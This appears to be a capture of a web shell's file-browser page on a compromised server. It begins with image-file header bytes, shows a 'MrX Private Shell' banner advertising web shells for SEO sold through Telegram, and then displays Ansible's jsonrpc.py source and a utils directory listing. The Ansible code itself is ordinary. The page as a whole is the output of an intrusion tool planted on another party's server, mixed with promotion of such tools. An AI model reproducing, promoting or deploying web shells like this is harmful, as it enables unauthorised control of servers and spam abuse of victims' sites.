����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# (c) 2017, Peter Sprygada <psprygad@redhat.com>
# (c) 2017 Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import json
import pickle
import traceback
from ansible.module_utils._text import to_text
from ansible.module_utils.connection import ConnectionError
from ansible.module_utils.six import binary_type, text_type
from ansible.utils.display import Display
display = Display()
class JsonRpcServer(object):
_objects = set() # type: set[object]
def handle_request(self, request):
request = json.loads(to_text(request, errors='surrogate_then_replace'))
method = request.get('method')
if method.startswith('rpc.') or method.startswith('_'):
error = self.invalid_request()
return json.dumps(error)
args, kwargs = request.get('params')
setattr(self, '_identifier', request.get('id'))
rpc_method = None
for obj in self._objects:
rpc_method = getattr(obj, method, None)
if rpc_method:
break
if not rpc_method:
error = self.method_not_found()
response = json.dumps(error)
else:
try:
result = rpc_method(*args, **kwargs)
except ConnectionError as exc:
display.vvv(traceback.format_exc())
try:
error = self.error(code=exc.code, message=to_text(exc))
except AttributeError:
error = self.internal_error(data=to_text(exc))
response = json.dumps(error)
except Exception as exc:
display.vvv(traceback.format_exc())
error = self.internal_error(data=to_text(exc, errors='surrogate_then_replace'))
response = json.dumps(error)
else:
if isinstance(result, dict) and 'jsonrpc' in result:
response = result
else:
response = self.response(result)
try:
response = json.dumps(response)
except Exception as exc:
display.vvv(traceback.format_exc())
error = self.internal_error(data=to_text(exc, errors='surrogate_then_replace'))
response = json.dumps(error)
delattr(self, '_identifier')
return response
def register(self, obj):
self._objects.add(obj)
def header(self):
return {'jsonrpc': '2.0', 'id': self._identifier}
def response(self, result=None):
response = self.header()
if isinstance(result, binary_type):
result = to_text(result)
if not isinstance(result, text_type):
response["result_type"] = "pickle"
result = to_text(pickle.dumps(result, protocol=0))
response['result'] = result
return response
def error(self, code, message, data=None):
response = self.header()
error = {'code': code, 'message': message}
if data:
error['data'] = data
response['error'] = error
return response
# json-rpc standard errors (-32768 .. -32000)
def parse_error(self, data=None):
return self.error(-32700, 'Parse error', data)
def method_not_found(self, data=None):
return self.error(-32601, 'Method not found', data)
def invalid_request(self, data=None):
return self.error(-32600, 'Invalid request', data)
def invalid_params(self, data=None):
return self.error(-32602, 'Invalid params', data)
def internal_error(self, data=None):
return self.error(-32603, 'Internal error', data)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| collection_loader | Folder | 0755 |
|
|
| __init__.py | File | 833 B | 0644 |
|
| _junit_xml.py | File | 8.53 KB | 0644 |
|
| cmd_functions.py | File | 2.16 KB | 0644 |
|
| color.py | File | 4.01 KB | 0644 |
|
| context_objects.py | File | 3.05 KB | 0644 |
|
| display.py | File | 18.99 KB | 0644 |
|
| encrypt.py | File | 10.26 KB | 0644 |
|
| fqcn.py | File | 1.24 KB | 0644 |
|
| galaxy.py | File | 3.82 KB | 0644 |
|
| hashing.py | File | 2.84 KB | 0644 |
|
| helpers.py | File | 1.8 KB | 0644 |
|
| jsonrpc.py | File | 3.74 KB | 0644 |
|
| listify.py | File | 1.67 KB | 0644 |
|
| lock.py | File | 1.36 KB | 0644 |
|
| multiprocessing.py | File | 698 B | 0644 |
|
| native_jinja.py | File | 346 B | 0644 |
|
| path.py | File | 5.74 KB | 0644 |
|
| plugin_docs.py | File | 14.74 KB | 0644 |
|
| py3compat.py | File | 2.35 KB | 0644 |
|
| sentinel.py | File | 2.4 KB | 0644 |
|
| shlex.py | File | 1.25 KB | 0644 |
|
| singleton.py | File | 949 B | 0644 |
|
| ssh_functions.py | File | 2.23 KB | 0644 |
|
| unicode.py | File | 1.14 KB | 0644 |
|
| unsafe_proxy.py | File | 12.43 KB | 0644 |
|
| vars.py | File | 9.9 KB | 0644 |
|
| version.py | File | 7.65 KB | 0644 |
|